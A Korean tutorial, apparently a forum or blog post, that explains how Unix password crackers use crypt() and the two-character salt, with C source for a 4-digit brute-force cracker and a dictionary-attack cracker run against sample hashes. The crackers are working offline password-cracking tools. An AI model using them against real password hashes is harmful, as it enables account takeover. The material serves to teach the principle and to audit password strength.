유닉스 패스워드 크랙프로그램 과 패스워드 암호화의 원리
대부분의 크랙 프로그램은 crypt()함수를 많이 이용한다.
crypt()함수는 salt 키와 패스워드를 제공하면 암호화 시킨다.
역암호화 알고리즘이 존재하지도 않는데 어떻게 암호화 된 패스워드를
풀수 있을까?... 음...
크랙프로그램의 원리를
shadow 패스워드가 " 3tqNGDFbEOk1s " 가 있다고 하면,
크랙 프로그램은 단어 사전 파일을 준비한다.
들어가는 단어들로 이루어져 있는데, 예를 들면,
a
aa
aaa
aaaa
abc
across
auto
......
.......
z
zz
zzz
zoo
..
이런식으로 영단어 처음부터 나온다.(사전이 좋을수록 손쉽게 찾을수 있다.)
그러면 크랙 프로그램은 crypt() 함수에 위의 한줄에 한단어씩 넣어서 암호화된
패스워드를 만들어 " 3tqNGDFbEOk1s " 와 비교한다.
틀리면 다음 단어... 이런식으로 루프를 돌게 된다.
이게 바로 크랙 프로그램의 기본적인 동작이다.
간단한 크랙소스를 보자.
crypt 함수의 사용법.(man 페이지를 보면 알수 있다.)
char *crypt(const char *key, const char *salt);
salt 키는 암호화 할때 넣는 임시 변수로 값이 어떤것을 넣느냐에 따라
암호화된 패스워드가 달라진다.
일반적으로 암호화 된 패스워드의 맨 앞부분 두개 문자가 salt 키가 된다.
위에서 선보인 암호화된 패스워드를 살펴보면....(계속 나올꺼에요.)
" 3tqNGDFbEOk1s " 에서 salt 키는 "3t" 가 된다.
실제 프로그래밍 할때는 crypt("패스워드","3t");이런식이 된다.
[소스]
#include <unistd.h>
main(int argc, char **argv) // 입력을 받죠.
{
char buf[1024]; // 버퍼
if ( argc < 2 ) { // 인수가 잘못되면, 에러메세지
printf("usage: %s password salt_key\n",argv[0]);
exit(1);
}
strcpy(buf,crypt(argv[1],argv[2])); // crypt 함수 결과를 버퍼에 넣고
printf("crypt [%s] => %s \n",argv[1],buf); // 출력합니다.
}
이코드는 패스워드를 처음인수로, 두번째 인수를 salt키를 받는다.
이번엔 간단한 크랙프로그램을 만들어보면,
먼저, salt 키와 암호화된 패스워드가 있어야된다.
암호화 된 패스워드 : 5tYu1ywBg8xf2
-> salt 키 : 5t
패스워드자리수 : 4
이정보를 이용해서 크랙프로그램을 만들어 보자.
/*
* 4 자리 숫자 크랙 프로그램
*/
#include <unistd.h>
main(int argc, char **argv)
{
int count;
char buf[5];
for ( count=1000 ; count < 10000 ; count++ ) { // 4자리수니까 1000~9999까지
sprintf(buf,"%d",count);
if( !strcmp("5tYu1ywBg8xf2", (char *)crypt(buf, "5t")) ) {//비교한다. 같으면
printf("password crack success : %d \n",count );
break;
}
}
}
너무간단하지않나 ^^
역시 숫자로만 이용한 패스워드 크랙은 정말 간단하게된다.
자리수가 늘어나고, 글자까지 포함하면, 점점 복잡해지게 되지만, 결국은 같은 원리.
사전을 이용한 크랙은 어떨까?
이번에는 새로운 암호화된 패스워드를 얻었습니다.
"99u5LyKkDNKgk" <= 주의 대소문자를 잘 구분하세요. K 와 k 를.. ^^;
#include <stdio.h>
#include <unistd.h>
main(int argc, char **argv) // 이건 같다.
{
char word[81],buf[20]; // 버퍼,
FILE *fp; // 사전을 가져와야 하니까 파일 포인터
if ( argc < 2 ) { // 에러 메세지
printf("usage : %s 단어사전\n",argv[0]);
exit(0);
}
fp = fopen(argv[1],"r"); // 파일을 열고
if ( !fp ) { // 에러처리
perror("open error");
exit(0);
}
while ( 1 ) { // 루프,
if ( fscanf(fp,"%s",word) < 0) // 사전에서 단어를 찾고,
{
printf("실패..\n");
break;
}
strcpy(buf,(char *)crypt(word,"99")); /* 암호화 */
if( !strcmp("99u5LyKkDNKgk",buf) ) /* 비교 */
{
printf("패스워드 : %s \n",word );
break;
}
}
fclose(fp);
exit(0);
}